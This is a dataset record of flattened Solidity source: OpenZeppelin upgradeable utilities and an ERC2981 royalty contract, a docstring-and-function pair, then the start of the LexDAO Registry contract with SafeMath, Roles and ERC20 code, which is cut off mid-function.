Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "./interfaces/IERC2981Upgradeable.sol"; /// /// @dev EIP-2981: NFT Royalty Standard /// abstract contract ERC2981Upgradeable is Initializable, ERC721Upgradeable, IERC2981Upgradeable { function __ERC2981_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC2981_init_unchained(); } // solhint-disable-next-line no-empty-blocks function __ERC2981_init_unchained() internal initializer {} // Address of who should be sent the royalty payment address private _royaltyReceiver; // Share of the sale price owed as royalty to the receiver, expressed as BPS (1/10,000) uint256 private _royaltyBps; /** * @notice Called with the sale price to determine how much royalty * is owed and to whom. * @param - the NFT asset queried for royalty information * @param salePrice_ - the sale price of the NFT asset specified by _tokenId * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for _salePrice */ function royaltyInfo(uint256, uint256 salePrice_) external view virtual override returns (address receiver, uint256 royaltyAmount) { receiver = _royaltyReceiver; royaltyAmount = (salePrice_ * _royaltyBps) / 10000; } /** * @dev A method to update royalty information. * @param receiver_ - the address of who should be sent the royalty payment * @param royaltyBps_ - the share of the sale price owed as royalty to the receiver, expressed as BPS (1/10,000) */ function _setRoyaltyInfo(address receiver_, uint256 royaltyBps_) internal virtual { _royaltyReceiver = receiver_; _royaltyBps = royaltyBps_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(ERC2981Upgradeable).interfaceId || super.supportsInterface(interfaceId); } uint256[48] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; /// /// @dev Interface for EIP-2981: NFT Royalty Standard /// interface IERC2981Upgradeable is IERC165Upgradeable { /** * @notice Called with the sale price to determine how much royalty * is owed and to whom. * @param tokenId_ - the NFT asset queried for royalty information * @param salePrice_ - the sale price of the NFT asset specified by _tokenId * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for _salePrice */ function royaltyInfo(uint256 tokenId_, uint256 salePrice_) external view returns (address receiver, uint256 royaltyAmount); }
A method to update royalty information. receiver_ - the address of who should be sent the royalty payment royaltyBps_ - the share of the sale price owed as royalty to the receiver, expressed as BPS (1/10,000)/
function _setRoyaltyInfo(address receiver_, uint256 royaltyBps_) internal virtual { _royaltyReceiver = receiver_; _royaltyBps = royaltyBps_; }
118,044
/* || THE LEXDAO REGISTRY (TLDR) || version 0.2 DEAR MSG.SENDER(S): / TLDR is a project in beta. // Please audit and use at your own risk. /// Entry into TLDR shall not create an attorney/client relationship. //// Likewise, TLDR should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W || lexDAO || ~presented by Open, ESQ LLC_DAO~ < https://mainnet.aragon.org/#/openesquire/ > */ pragma solidity 0.5.9; /*************** OPENZEPPELIN REFERENCE CONTRACTS - SafeMath, ScribeRole, ERC-20 transactional scripts ***************/ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ScribeRole is Context { using Roles for Roles.Role; event ScribeAdded(address indexed account); event ScribeRemoved(address indexed account); Roles.Role private _Scribes; constructor () internal { _addScribe(_msgSender()); } modifier onlyScribe() { require(isScribe(_msgSender()), "ScribeRole: caller does not have the Scribe role"); _; } function isScribe(address account) public view returns (bool) { return _Scribes.has(account); } function renounceScribe() public { _removeScribe(_msgSender()); } function _addScribe(address account) internal { _Scribes.add(account); emit ScribeAdded(account); } function _removeScribe(address account) internal { _Scribes.remove(account); emit ScribeRemoved(account); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view 